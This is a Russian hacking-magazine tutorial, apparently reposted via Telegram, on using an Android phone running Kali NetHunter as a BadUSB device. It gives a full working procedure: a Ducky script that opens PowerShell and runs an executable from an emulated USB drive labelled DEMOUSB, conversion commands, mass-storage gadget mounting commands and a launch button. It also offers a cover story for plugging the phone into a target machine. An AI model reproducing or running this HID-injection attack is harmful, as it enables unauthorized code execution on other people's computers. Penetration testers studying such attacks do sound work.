Хакер - Мобильник как BadUSB. Используем BadUSB в Kali NetHunter по-взрослому

Хакер - Мобильник как BadUSB. Используем BadUSB в Kali NetHunter по-взрослому

hacker_frei

https://t.me/hacker_frei

Intercepter

Что такое BadUSB, зна­ет, навер­ное, каж­дый. Дол­гое вре­мя к катего­рии BadUSB при­чис­ляли исклю­читель­но девай­сы вро­де фле­шек. Но мож­но ли исполь­зовать в таком качес­тве, нап­ример, смар­тфон на Android? Мож­но — с помощью про­екта Kali NetHunter, мобиль­ной плат­формы, спе­циаль­но соз­данной для пен­тесте­ров. В этой статье я покажу, как прев­ратить мобиль­ник в пол­ноцен­ный ана­лог «злой флеш­ки».

О BadUSB го­вори­лось и писалось мно­жес­тво раз, в стать­ях и виде­оро­ликах давалась общая информа­ция об этом клас­се атак, делал­ся обзор сущес­тву­ющих девай­сов на рын­ке, и, конеч­но же, опи­сыва­лись схе­мы сбор­ки самодель­ных устрой­ств. Как ты зна­ешь, эта ата­ка поз­воля­ет в крат­чай­шие сро­ки выпол­нить дей­ствия на целевом компь­юте­ре. Дела­ется это так: в сво­бод­ный USB-порт встав­ляет­ся заранее под­готов­ленная флеш­ка или прос­той USB-кабель, который име­ет встро­енный мик­рокон­трол­лер с осо­бой про­шив­кой. Эти устрой­ства иден­тифици­руют­ся сис­темой в качес­тве HID (Human Interface Device), нап­ример как кла­виату­ра. Пос­ле чего по заранее написан­ному сце­нарию эму­лиру­ется ввод команд, как если бы их вби­вал живой человек, сидящий за компь­юте­ром.

Пред­положим, что ты член коман­ды Red Team. Плю­сы таких устрой­ств для тебя оче­вид­ны. Во‑пер­вых, не нуж­но садить­ся за компь­ютер и прив­лекать к себе вни­мание, сту­ча по кла­вишам за чужим рабочим мес­том. Дос­таточ­но вста­вить неп­ригляд­ную флеш­ку или кабель в разъ­ем USB. А во‑вто­рых, ско­рость авто­мати­чес­кого вво­да команд при помощи устрой­ства BadUSB в разы выше, чем ско­рость, с которой спо­собен печатать человек.

На самом деле ата­ка с авто­мати­чес­ким вво­дом тек­ста через USB-свис­тки появи­лась куда рань­ше, чем сам тер­мин BadUSB. В 2010 году коман­да Hak5 пред­ста­вила сво­его зна­мени­того резино­вого утен­ка — Rubber Ducky.

Ши­роко извес­тный в узких кру­гах девайс Rubber Ducky

Это был спе­циаль­но спро­екти­рован­ный девайс, который нап­рямую никак не свя­зан с темой BadUSB. Соз­датели жел­той уточ­ки раз­работа­ли спе­циаль­ный скрип­товый язык, на котором мож­но было писать сце­нарии. Впос­ледс­твии появил­ся целый ресурс, где поль­зовате­ли вык­ладыва­ли свои скрип­ты.

Ре­сурс, на который поль­зовате­ли вык­ладыва­ли собс­твен­ные скрип­ты

Bash Bunny

Ин­терес­ная аль­тер­натива «резино­вой утке» — Bash Bunny. Это более изощ­ренный вари­ант девай­са для HID-атак. Помимо кла­виату­ры, он может эму­лиро­вать любые устрой­ства для пос­ледова­тель­ного пор­та, фай­ловые хра­нили­ща и адап­теры USB — Ethernet.

О дру­гих хакер­ских устрой­ствах, которые может при­обрести любой жела­ющий, ты можешь про­читать в этой статье.

В боль­шинс­тве слу­чаев при­мене­ние «утен­ка» и самодель­ных BadUSB-свис­тков сво­дит­ся к получе­нию уда­лен­ного дос­тупа или экспор­ту паролей из сис­темы. Авто­ры темати­чес­ких ста­тей и мам­кины хакеры c юту­ба зачас­тую исполь­зуют одну и ту же схе­му: залить на фай­лооб­менник какой‑нибудь тро­ян и зап­рограм­мировать девайс BadUSB на его ска­чива­ние и выпол­нение. Как говорит­ся, дешево и сер­дито.

Ми­нусы это­го метода оче­вид­ны: во‑пер­вых, серь­езные спе­циалис­ты могут исполь­зовать собс­твен­ные при­ват­ные наработ­ки, так что заливать такой код неиз­вес­тно куда — идея не самая разум­ная, а во‑вто­рых, на целевой машине может не ока­зать­ся дос­тупа в интернет, и скрипт поп­росту не отра­бота­ет как надо.

При таком рас­кла­де самодель­ные бюд­жетные свис­тки ста­новят­ся бес­полез­ными. Поль­зовате­ли ори­гиналь­ного утен­ка находят­ся в более при­виле­гиро­ван­ном положе­нии, и вот почему: у Rubber Ducky есть воз­можность уста­новить SD-кар­ту с дос­таточ­ным объ­емом памяти. Кро­ме того, сущес­тву­ет аль­тер­натив­ная про­шив­ка под наз­вани­ем Twin Duck, которая прев­раща­ет утку одновре­мен­но в два устрой­ства: кла­виату­ру и Mass Storage Device. Таким обра­зом, появ­ляет­ся воз­можность рас­положить необ­ходимый софт непос­редс­твен­но во внут­ренней памяти девай­са и пол­ностью избе­жать работы с сетью.

Лич­но я поз­накомил­ся с BadUSB при совер­шенно дру­гих обсто­ятель­ствах. Это слу­чилось, ког­да я уста­новил на смар­тфон опе­раци­онную сис­тему Kali NetHunter. Сре­ди про­чих фун­кций дан­ной ОС в ней при­сутс­тву­ет воз­можность исполнять ути­ные скрип­ты при под­клю­чении смар­тфо­на к компь­юте­ру. И все бы ничего, но вари­ант с залив­кой фай­лов куда‑то вов­не меня совер­шенно не устра­ивал, и я решил довес­ти алго­ритм этой ата­ки до ума.

WARNING

Вся информа­ция пре­дос­тавле­на исклю­читель­но в озна­коми­тель­ных целях. Автор и редак­ция не несут ответс­твен­ности за любой воз­можный вред, при­чинен­ный с исполь­зовани­ем све­дений из этой статьи.

Для начала раз­берем­ся с базовым выпол­нени­ем ducky-скрип­тов. В гра­фичес­кой обо­лоч­ке NetHunter для это­го сущес­тву­ет свой раз­дел, но, по прав­де говоря, поль­зы от него мало. Поэто­му запуск скрип­тов мы наладим самос­тоятель­но.

В пап­ке /sdcard/nh_files/modules есть ути­лита duckhunter.py, которая кон­верти­рует скрипт на ути­ном язы­ке в shell-скрипт. В свою оче­редь, shell-скрипт работа­ет с прог­раммой hid-keyboard, которая непос­редс­твен­но вза­имо­дей­ству­ет с HID-гад­жетом /dev/hidg0, эму­лиру­ющим устрой­ство вво­да. Вот как выг­лядит ути­ная коман­да STRING usb в сыром вари­анте:

echo u | hid-keyboard /dev/hidg0 keyboard

echo s | hid-keyboard /dev/hidg0 keyboard

echo b | hid-keyboard /dev/hidg0 keyboard

При запус­ке скон­верти­рован­ного скрип­та под­клю­чен­ный телефон нач­нет вво­дить текст на компь­юте­ре.

С этим разоб­рались, теперь перей­дем к час­ти эму­ляции флеш‑накопи­теля. Для начала нам необ­ходимо соз­дать вир­туаль­ный образ, который мы будем мон­тировать и на котором будут находить­ся нуж­ные для запус­ка фай­лы. Образ мож­но было бы соз­дать прос­той коман­дой:

dd if=/dev/zero of=demo.img bs=1M count=100 && sync

Но необ­ходимо еще отформа­тиро­вать накопи­тель и задать мет­ку тома, поэто­му более удоб­ным вари­антом будет исполь­зование ути­литы DriveDroid.

Ис­поль­зуем ути­литу DriveDroid для соз­дания вир­туаль­ного обра­за дис­ка

Соз­дай в ней образ необ­ходимо­го раз­мера и смон­тируй в качес­тве смен­ного накопи­теля, отформа­тируй его штат­ными средс­тва­ми и задай мет­ку, нап­ример DEMOUSB. Ско­пируй файл (для при­мера пусть он называ­ется file.exe), который пла­ниру­ешь запус­кать, в корень получив­шей­ся флеш­ки.

Пред­став­лю свой вари­ант скрип­та demo.txt, который будет опре­делять бук­ву смон­тирован­ного устрой­ства с необ­ходимой мет­кой и запус­кать с него файл.

DELAY 100

CONTROL ESCAPE

DELAY 2000

STRING powershell

DELAY 500

ENTER

DELAY 2500

STRING For ($i=0; $i -le 20; $i++) {

ENTER

STRING [string]$usbPath = Get-WMIObject Win32_Volume | ? { $_.Label –eq 'DEMOUSB' } | select name

ENTER

STRING if($usbPath.Length -gt 7){[string]$letter = $usbPath.Substring(7,$usbPath.Length - 8)

ENTER

STRING cd $letter

ENTER

STRING ./file.exe

ENTER

STRING break}else {sleep(1)}}

ENTER

STRING exit

ENTER

Код очень прос­той и в ком­мента­риях не нуж­дает­ся. Скон­верти­руем его в shell-фор­мат:

python duckhunter.py demo.txt demo.sh –l us

По­лучив­ший­ся .sh-файл мы будем запус­кать из chroot-окру­жения Kali:

chroot /data/local/nhsystem/kali-armhf sh /root/demo.sh

Те­перь оста­лось смон­тировать наш образ demo.img сле­дующи­ми коман­дами:

# Отключить read-only

echo '0' > /config/usb_gadget/g1/functions/mass_storage.0/lun.0/ro

# Установить тип устройства

echo '1' > /config/usb_gadget/g1/functions/mass_storage.0/lun.0/removable

# Указать пусть до образа, который следует смонтировать

echo '/sdcard/demo.img' > /config/usb_gadget/g1/functions/mass_storage.0/lun.0/file

sleep 1

# Устанавливаем свойство mass_storage для USB

setprop sys.usb.config mass_storage,adb

Весь получив­ший­ся код мож­но соб­рать в ито­говый скрипт badusb.sh и положить в дирек­торию /data/data/com.offsec.nethunter/files, пос­ле чего зай­ти в NetHunter → Custom Commands и соз­дать кноп­ку для запус­ка со сле­дующим содер­жимым:

su –c /data/data/com.offset.nethunter/files/badusb.sh

Со­бира­ем «вир­туаль­ную флеш­ку»

Те­перь дос­таточ­но под­клю­чить телефон к компь­юте­ру и нажать кноп­ку стар­та скрип­та — запус­тится PowerShell, а в нем цикл ожи­дания под­клю­чения смен­ного носите­ля с задан­ной мет­кой и исполня­емым фай­лом.

Я опус­тил некото­рые эле­мен­тарные шаги, ведь подоб­ный сце­нарий исполь­зования ата­ки BadUSB пред­полага­ет дос­таточ­ную теоре­тичес­кую и прак­тичес­кую под­готов­ку по юник­сам.

На мой взгляд, телефон луч­ше справ­ляет­ся с этой задачей, чем свис­тки BadUSB. Всег­да мож­но ска­зать, что ты заряжа­ешь телефон от пер­вого попав­шегося USB, к тому же на телефо­не мож­но дер­жать целый набор скрип­тов и запус­кать любой из них в про­изволь­ном поряд­ке. Никакой воз­ни с переп­рошив­кой!

INFO

Опи­сан­ная выше инс­трук­ция дос­тупна на моем YouTube как видео. Кро­ме это­го, в дан­ный момент ведет­ся розыг­рыш смар­тфо­на с уста­нов­ленной Kali NetHunter, с помощью которо­го ты смо­жешь воп­лотить в жизнь сце­нарий, опи­сан­ный в статье. Под­робнос­ти — в телег­рам‑канале t.me/cepter.

В завер­шение хочу дать одну малень­кую под­сказ­ку. Все коман­ды нуж­но вво­дить при активной англий­ской рас­клад­ке кла­виату­ры в сис­теме. Если, к при­меру, в момент про­веде­ния ата­ки будет уста­нов­лен рус­ский или любой иной язык, ата­ка не сра­бота­ет. На помощь при­ходят аль­тер­натив­ные коды, которые вво­дят­ся в ком­бинации с зажатой кла­вишей Alt и циф­ровым обоз­начени­ем зна­ка кла­виша­ми NumPad.

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei

Report Page